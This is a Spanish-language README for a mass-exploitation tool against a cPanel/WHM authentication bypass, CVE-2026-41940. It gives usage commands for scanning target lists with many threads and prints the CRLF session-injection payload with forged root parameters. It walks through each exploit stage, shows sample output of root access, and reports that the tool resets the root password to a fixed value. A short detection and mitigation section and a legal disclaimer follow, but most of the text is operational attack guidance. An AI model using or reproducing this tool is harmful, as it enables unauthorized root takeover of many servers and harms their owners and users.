
Escáner masivo y herramienta de explotación masiva para CVE-2026-41940 en cPanel/WHM, diseñada para validación automatizada de objetivos y ejecución de alta velocidad con múltiples hilos.
CVE-2026-41940 es una vulnerabilidad crítica de omisión de autenticación en WHM/cPanel que permite a atacantes eludir la autenticación y obtener acceso root a un servidor sin credenciales válidas. La vulnerabilidad aprovecha la inyección CRLF en el mecanismo de manejo de sesiones para inyectar parámetros de sesión maliciosos.
Esta herramienta proporciona capacidades de explotación masiva con soporte de múltiples hilos para probar múltiples objetivos simultáneamente, con detección inteligente de éxito y filtrado automático de objetivos inválidos.
| Característica | Descripción |
|---|
| ✅ Explotación Masiva | Escanea y explota múltiples objetivos desde un archivo de lista |
| 🚀 Multihilo | Número de hilos configurable para escaneo más rápido (predeterminado: 15) |
| 🔐 Cambio Automático de Contraseña | Cambia la contraseña de root a Jenderal92 tras una explotación exitosa |
| 🛡️ Detección Inteligente de Éxito | Detecta automáticamente varios formatos de respuesta de la API de WHM |
| ⚠️ Filtrado de Errores de Licencia | Excluye objetivos con errores de licencia inválida/no se puede leer |
| 📝 Salida Estructurada | Guarda solo los éxitos confirmados en formato `dominio:puerto |
| 🛡️ Soporte SSL/TLS | Maneja certificados autofirmados automáticamente |
| 🔄 Gestión de Sesiones | Extracción automática de sesiones, inyección de cookies y manejo de tokens |
| ⏱️ Control de Tiempo de Espera | Tiempo de espera de conexión configurable (predeterminado: 15 segundos) |
| 🔍 Verificación Pre-conexión | Verifica la disponibilidad del puerto antes del intento de explotación |
| 📊 Progreso en Tiempo Real | Muestra progreso detallado para cada etapa de explotación |
pip install requests urllib3 futures
O usar requirements.txt:
requests==2.27.1
urllib3==1.26.18
futures==3.4.0
# Clonar repositorio
git clone https://github.com/Jenderal92/CVE-2026-41940.git
cd CVE-2026-41940
# Instalar dependencias
pip install -r requirements.txt
# Hacer ejecutable (Linux/Mac)
chmod +x CVE-2026-41940.py
Cree un archivo targets.txt con un objetivo por línea:
https://target1.com:2087
target2.com
127.0.0.1:2087
http://target3.com:2087
target4.com
Nota: El puerto
2087es el puerto predeterminado de WHM. Si no se especifica, se usará automáticamente el puerto 2087. El prefijo HTTP/HTTPS se añadirá automáticamente si falta.
python2 CVE-2026-41940.py targets.txt
# Usar 5 hilos concurrentes
python2 CVE-2026-41940.py targets.txt --threads 5
# Usar 20 hilos para escaneo más rápido
python2 CVE-2026-41940.py targets.txt --threads 20
# Sobrescribir el encabezado Host para todos los objetivos
python2 CVE-2026-41940.py targets.txt --hostname custom.host.com --threads 10
# Establecer tiempo de espera a 30 segundos para conexiones lentas
python2 CVE-2026-41940.py targets.txt --threads 10 --timeout 30
| Argumento | Descripción | Predeterminado | Requerido |
|---|---|---|---|
list_file | Archivo que contiene la lista de objetivos (uno por línea) | - | ✅ Sí |
--threads | Número de hilos concurrentes | 15 | ❌ No |
--hostname | Sobrescribe el encabezado Host para todos los objetivos | Auto-descubrir | ❌ No |
--timeout | Tiempo de espera de conexión en segundos | 15 | ❌ No |
res.txt)Solo se guardan los éxitos de explotación confirmados. Los objetivos con errores de licencia, cambios de contraseña fallidos o problemas de conexión se excluyen automáticamente.
Formato:
dominio:puerto|root|Jenderal92
Ejemplo de salida:
www.example.com:2087|root|Jenderal92
127.0.0.1:2087|root|Jenderal92
target.example.net:2087|root|Jenderal92
Los siguientes objetivos NO se guardarán en res.txt:
Cannot Read License File)$ python2 CVE-2026-41940.py targets.txt --threads 10
CVE-2026-41940 bypass authentication - Mass Exploit
[*] Cargados 4 objetivos
[*] Iniciando exploit con 10 hilos...
[*] Tiempo de espera: 15 segundos
[*] Nota: http:// se añadirá automáticamente si falta
[*] SOLO los objetivos con cambios de contraseña confirmados se guardarán en res.txt
[*] Los objetivos con errores de licencia, problemas de conexión o cambios de contraseña fallidos serán EXCLUIDOS
==================================================
[*] Verificando objetivo: 127.0.0.1
Entrada original: 127.0.0.1
Normalizado: https://127.0.0.1:2087
Puerto 2087: ABIERTO
Probando conexión... OK (HTTP 200)
[0] hostname = example.com
[1] creando una sesión de preautenticación...
base de sesión = :d5nPe99Nx9HQdMu2
[2] enviando la inyección CRLF...
HTTP 307, token filtrado = /cpsess0488087910
[3] ejecutando do_token_denied para propagar...
HTTP 401, gadget disparado
[4] verificando que somos root de WHM...
/json-api/version -> HTTP 200 {"version":"11.118.0.13"}
[*] intentando cambiar la contraseña de root
passwd -> HTTP 200
{
"data": {
"app": ["system"]
},
"metadata": {
"output": {
"raw": "Password for \"root\" has been changed."
},
"reason": "Password changed for user \"root\".",
"version": 1,
"command": "passwd",
"result": 1
}
}
[+] Cambio de contraseña confirmado (metadata.result=1)
[+] ✓ Contraseña de root cambiada exitosamente a 'Jenderal92'!
[✓] ÉXITO Y GUARDADO: 127.0.0.1:2087
Guardado en res.txt: 127.0.0.1:2087|root|Jenderal92
==================================================
[*] ¡Escaneo completado!
[*] Objetivos con contraseñas cambiadas exitosamente: 1 de 4
[+] Resultados guardados en res.txt
Objetivos explotados exitosamente (contraseña cambiada a Jenderal92):
✓ 127.0.0.1:2087
El exploit consta de 4 etapas principales con verificación inteligente:
[1] creando una sesión de preautenticación...
/login/?login_only=1 con credenciales inválidaswhostmgrsession de la respuesta del servidor,<obhex>[2] enviando la inyección CRLF...
Authorization: Basic que contiene un payload maliciosoroot:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1
\r\n) inyectan parámetros de sesión falsosLocation que contiene el cp_security_token[3] ejecutando do_token_denied para propagar...
/scripts2/listaccts con la cookie manipuladado_token_denied en WHM[4] verificando que somos root de WHM...
/json-api/version para verificar el acceso a nivel root/json-api/passwd para cambiar la contraseña de root a Jenderal92{"metadata": {"result": 1}} (cPanel v11.118+){"status": 1} (versiones antiguas){"result": [{"status": 1}]} (formato heredado)La herramienta excluye automáticamente:
{"status": 0, "statusmsg": "Cannot Read License File"}| Indicador | Descripción |
|---|---|
Cookie whostmgrsession anómala | Patrones de cookie inusuales sin autenticación adecuada |
| Caracteres CRLF en encabezados | Detección de secuencias \r\n en encabezados HTTP |
Acceso a /scripts2/listaccts | Acceso no autorizado a esta ruta |
Contraseña Jenderal92 | Inicio de sesión exitoso usando esta contraseña específica |
Fuga de token cpsess | Token de seguridad visible en el encabezado Location |
| Inicio de sesión fallido seguido de éxito | POST a /login/?login_only=1 con contraseña incorrecta, luego acceso privilegiado |
# Registro de acceso de WHM
/usr/local/cpanel/logs/access_log
# Registro de errores de cPanel
/usr/local/cpanel/logs/error_log
# Registro de autenticación
/var/log/secure
# Mensajes del sistema
/var/log/messages
Actualice WHM/cPanel a la versión parcheada más reciente inmediatamente
/usr/local/cpanel/scripts/upcp
Habilite la Autenticación de Dos Factores (2FA) para todas las cuentas, especialmente root
WHM → Centro de Seguridad → Autenticación de Dos Factores
Restrinja el acceso a WHM con listas blancas de IP
WHM → Centro de Seguridad → Control de Acceso de Host
Monitoree los registros de acceso regularmente en busca de patrones sospechosos
tail -f /usr/local/cpanel/logs/access_log | grep -E "(listaccts|passwd|login_only)"
Cambie todas las contraseñas si se sospecha de un compromiso
Use reglas de firewall para restringir el acceso al puerto 2087
# Permitir solo IPs de confianza
iptables -A INPUT -p tcp --dport 2087 -s TU_IP_CONFIABLE -j ACCEPT
iptables -A INPUT -p tcp --dport 2087 -j DROP
# O usar el firewall CSF/LFD
csf -a TU_IP_CONFIABLE
Implemente reglas WAF para detectar intentos de inyección CRLF
Auditorías de seguridad regulares de las instalaciones de WHM/cPanel
echo "https://myserver.com:2087" > my_server.txt
python2 CVE-2026-41940.py my_server.txt --threads 1
python2 CVE-2026-41940.py all_servers.txt --threads 20 --timeout 20
python2 CVE-2026-41940.py servers.txt --threads 5 --timeout 45
python2 CVE-2026-41940.py servers.txt --hostname internal.cpanel.server --threads 10
# targets.txt puede contener varios formatos:
https://server1.com:2087
http://server2.com:2087
server3.com:2087
127.0.0.1:2087
10.0.0.50
# Todos se normalizarán automáticamente
python2 CVE-2026-41940.py targets.txt --threads 15
Problema: Usar Python 3 en lugar de Python 2.7
Solución: Esta herramienta requiere específicamente Python 2.7.
# Verificar versión de Python
python2 --version # Debe mostrar Python 2.7.x
# Ejecutar con python2 explícitamente
python2 CVE-2026-41940.py targets.txt
Problema: El objetivo está fuera de línea o el firewall lo bloquea
Solución:
# Probar manualmente
telnet target.com 2087
nmap -p 2087 target.com
curl -k https://target.com:2087
Problema: El objetivo puede estar parcheado o no está ejecutando WHM
Solución:
https://target:2087Solución: Ajuste el número de hilos y el tiempo de espera
# Para muchos objetivos con buena conectividad
python2 CVE-2026-41940.py targets.txt --threads 30 --timeout 10
# Para conexiones poco fiables
python2 CVE-2026-41940.py targets.txt --threads 5 --timeout 45
Nota: Los objetivos que muestran Cannot Read License File se excluyen automáticamente de res.txt. Esto es un comportamiento esperado, ya que los cambios de contraseña no funcionarán en instalaciones de WHM sin licencia.
Puede modificar PAYLOAD_B64 para parámetros de sesión personalizados:
import base64
# Payload personalizado
payload = """root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1"""
encoded = base64.b64encode(payload.encode())
print(encoded)
Cambie la contraseña en la función do_passwd() (línea ~280):
{"user": "root", "password": "TuContraseñaPersonalizada123"}
La función do_passwd() se puede modificar para detectar formatos de respuesta personalizados de WHM:
# Añadir patrón personalizado en do_passwd()
if 'tu_cadena_de_éxito_personalizada' in (r.text or '').lower():
return "success"
¡Las contribuciones son bienvenidas! Por favor, siga estos pasos:
git checkout -b feature/FuncionalidadIncreible)git commit -m 'Añadir alguna FuncionalidadIncreible')git push origin feature/FuncionalidadIncreible)Si esta herramienta es útil para su investigación de seguridad, ¡por favor dele una ⭐ en GitHub!
P: ¿Se puede detectar esta herramienta?
R: Sí, esta herramienta deja rastros en los registros de acceso de WHM/cPanel. Úsela solo con la autorización adecuada y para pruebas de seguridad legítimas.
P: ¿Cuánto tiempo lleva la explotación?
R: Aproximadamente 5-15 segundos por objetivo dependiendo de la latencia de la red y el tiempo de respuesta del servidor.
P: ¿Requiere acceso root previo?
R: No, este exploit funciona completamente desde el exterior sin ninguna autenticación.
P: ¿Funciona esta herramienta en Windows?
R: Sí, siempre que Python 2.7 esté instalado y configurado correctamente.
P: Mi objetivo usa un puerto diferente, ¿qué debo hacer?
R: Especifique el puerto en la URL del objetivo: https://target.com:2083 para cPanel o cualquier puerto personalizado.
P: ¿Por qué algunos objetivos no se guardan en res.txt aunque el exploit funcionó?
R: La herramienta solo guarda objetivos donde la contraseña se cambió exitosamente. Los objetivos con errores de licencia, cambios de contraseña fallidos u otros problemas se excluyen incluso si la omisión de autenticación fue exitosa.
P: ¿Qué versiones de WHM/cPanel son vulnerables?
R: Versiones anteriores al parche de CVE-2026-41940. Consulte el changelog de cPanel para la versión parcheada.
Jenderal92 tras una explotación exitosa2087 (se usa automáticamente si no se especifica)res.txtres.txt (los resultados antiguos se eliminan)
Creado con fines educativos de investigación en seguridad
Use con responsabilidad, manténgase legal, manténgase ético
⚠️ ¡ADVERTENCIA CRÍTICA!
Esta herramienta fue creada exclusivamente para:
- ✅ Fines educativos e investigación en seguridad
- ✅ Pruebas de penetración autorizadas
- ✅ Evaluaciones de seguridad en sistemas que le pertenecen
- ✅ Verificación de vulnerabilidades con permiso por escrito
Usos ESTRICTAMENTE PROHIBIDOS:
- ❌ Acceder a sistemas sin autorización explícita
- ❌ Cualquier forma de actividades ilegales
- ❌ Acciones maliciosas o causar daño a sistemas
- ❌ Acceso no autorizado a cualquier sistema informático
- ❌ Violar cualquier ley local, estatal o federal
El(los) autor(es) NO asumen ninguna responsabilidad por cualquier uso indebido, daño o consecuencia derivada del uso de esta herramienta. Al usar esta herramienta, usted acepta usarla solo en sistemas que le pertenecen o para los cuales tiene autorización explícita por escrito para probar.
Si continúa, usted reconoce que:
- Tiene autorización para probar los sistemas objetivo
- Comprende las implicaciones legales del acceso no autorizado
- Cumplirá con todas las leyes y regulaciones aplicables
- El(los) autor(es) no son responsables de sus acciones
Más avisos legales: Puede ver el aviso legal en la portada de Jenderal92. Puede consultarlo ¡¡¡AQUÍ!!!